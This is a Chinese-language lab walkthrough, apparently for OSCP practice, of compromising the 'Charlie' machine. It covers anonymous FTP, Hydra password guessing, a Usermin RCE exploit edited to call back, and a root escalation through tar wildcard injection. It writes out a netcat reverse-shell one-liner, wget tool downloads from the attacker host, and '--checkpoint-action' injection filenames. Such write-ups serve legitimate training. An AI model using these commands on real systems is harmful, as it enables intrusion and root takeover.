Challenge 6 - Charlie

Challenge 6 - Charlie

標準第一步掃 Port,└─$ rustscan -a 192.168.247.157 --scripts none --ulimit 5000 | tee rustscan




掃描 Port 相關資訊,└─$ sudo nmap -sCV -p 21,22,80,20000 192.168.247.157 | tee nmap

21 Port 有個重要資訊顯示可以匿名登入存取 backup 目錄

| ftp-anon: Anonymous FTP login allowed (FTP code 230)

|_drwxr-xr-x    2 114      120          4096 Nov 02  2022 backup




一定不能忘記列舉 snmp 服務└─$ sudo nmap -sU -p 161 192.168.247.157,snmp 服務是關閉的




ftp 192.168.247.157 進去後使用帳號 Anonymous 密碼空白登入後看到五個 PDF 檔案




將五個 PDF 檔案下載回來看一下內容,結果無料

改用 exiftool 看一下└─$ exiftool -a -u FUNCTION-TEMPLATE.pdf

在其中三個發現作者分別是 Cassie、Mark、Robert,先記錄到使用者清單




另外 20000 Port 看到 MiniServ/1.820,跑一下 whatweb 看一下

└─$ whatweb http://192.168.247.157:20000 | tee whatweb,結果一樣




此時 Metasploit 先開來玩玩試試看,避免是採到兔子坑

sudo msfconsole -q 啟動 Metasploit,然後 search MiniServ 結果竟然是空的




網站開啟來看一下,是跑在 HTTPs,https://192.168.247.157:20000/ 顯示是 Usermin





改搜尋 Usermin 看來一樣無料




改用 searchsploit MiniServ 試試看一樣無料,searchsploit Usermin 看到 RCE 且版本一樣

linux/webapps/50234.py 內容也符合我們的靶機,那八九不離十就是它了




searchsploit -m 50234,然後直接 python3 50234.py 試試看,顯示需要如下參數

50234.py: error: the following arguments are required: -u/--host, -l/--login, -p/--password

但我們沒有密碼,所以要回到已經找到使用者帳號身上去用服務暴力破解密碼看看

└─$ hydra -L ./usernames.txt -P /usr/share/wordlists/rockyou.txt ftp://192.168.247.157                            └─$ hydra -L ./usernames.txt -P /usr/share/wordlists/rockyou.txt ssh://192.168.247.157

跑了 10 分鐘沒結果就不是了,直接停止改用 Offsec 常用的梗,密碼就是使用者帳號
且可能是全大寫、全小寫與第一個字大寫,那就先編輯好使用者與密碼清單如下



再跑一次試試看

└─$ hydra -L ./usernames.txt -P ./passwords.txt ftp://192.168.247.157 

結果發現有效的密碼組合是全小寫的 cassie:cassie



FTP 登入試試看,結果發現 local.txt,看來第一階段就是這個,直接拿答案吧




現在有了帳號密碼 cassie:cassie 讓我們去登入 Usermin 看看,一樣可以順利登入




那就回到 python code 利用試試看

50234.py: error: the following arguments are required: -u/--host, -l/--login, -p/--password

執行改成 python3 50234.py -u 192.168.247.157:20000 -l cassie -p cassie

結果有問題,原因是它預設就跑 20000 Port,不需要帶入 Port



拿到 Port 號再執行一次 └─$ python3 50234.py -u 192.168.247.157 -l cassie -p cassie 

結果一樣失敗如下,看來會用 nc 連回來到,但 IP 是 0.0.0.0 Port 號是 1337



那就 cat 看一下並修改 IP 為 Kali IP,kali listen 使用 python code 預設的 1337 Port 即可




再跑一次,這次看來沒有問題了




Listen 1337 Port 進來了(實際上跑了兩次才成功,第一次沒有進來,原因不明)

不是 tty 所以先下 "script -c /bin/bash -q /dev/null" 再 whoami & id 看一下

使用者確實是 cassie 但卻是一般使用者不是 root,看來還要提權




標準作業,先下載 linpeas.sh 與 nc

wget http://192.168.45.240/linpeas.sh、wget http://192.168.45.240/nc




經過一番枚舉後,使用 grep "CRON" /var/log/syslog 查到有一個 Job 每兩分鐘跑一次

(root) CMD (cd /opt/admin && tar -zxf /tmp/backup.tar.gz *)




搜尋了一段時間後發現這個網站

https://www.hackingarticles.in/exploiting-wildcard-for-privilege-escalation/

簡單描述 :
“通配符注入”,這是一種有趣的老式 UNIX 駭客技術,它仍然是一種成功的後期利用方法,甚至許多安全相關人員都沒有聽說過它。在這裡,當您意識到某些 UNIX 工具(如“tar”或“chown”)可能導致整個系統受到損害

主要在這一段內容




依據網站它上面寫的要先建立 Payload

所以先在 kali 上建立 reverse shell payload,但不用輸出到檔案,指令
└─$ msfvenom -p cmd/unix/reverse_netcat LHOST=192.168.45.240 LPORT=4444 R
我們需要以下這一段 :
mkfifo /tmp/sxiyd; nc 192.168.45.240 4444 0</tmp/sxiyd | /bin/sh >/tmp/sxiyd 2>&1; rm /tmp/sxiyd



然後在 .157 /opt/admin 路徑(這個路徑就是 tar 執行 wildcard 的路徑)下輸入這三段

echo "mkfifo /tmp/sxiyd; nc 192.168.45.240 4444 0</tmp/sxiyd | /bin/sh >/tmp/sxiyd 2>&1; rm /tmp/sxiyd" > shell.sh
echo "" > "--checkpoint-action=exec=sh shell.sh"
echo "" > --checkpoint=1

建立完會有三個檔案如下
ls -la
-rw-r--r-- 1 cassie cassie 1 Dec 7 15:51 --checkpoint-action=exec=sh shell.sh -rw-r--r-- 1 cassie cassie 1 Dec 7 15:51 --checkpoint=1 -rw-r--r-- 1 cassie cassie 97 Dec 7 15:51 shell.sh




等每兩分鐘 root 去執行那個 tar 的 "通配符注入" 漏洞吧

nc listen 4444 進來了,whoami & id 看一下是 root 了,拿答案吧




留言

這個網誌中的熱門文章

Challenge 0 - Secura(2)

濫用 Windows 庫文件(Library File)

Challenge 0 - Secura(1)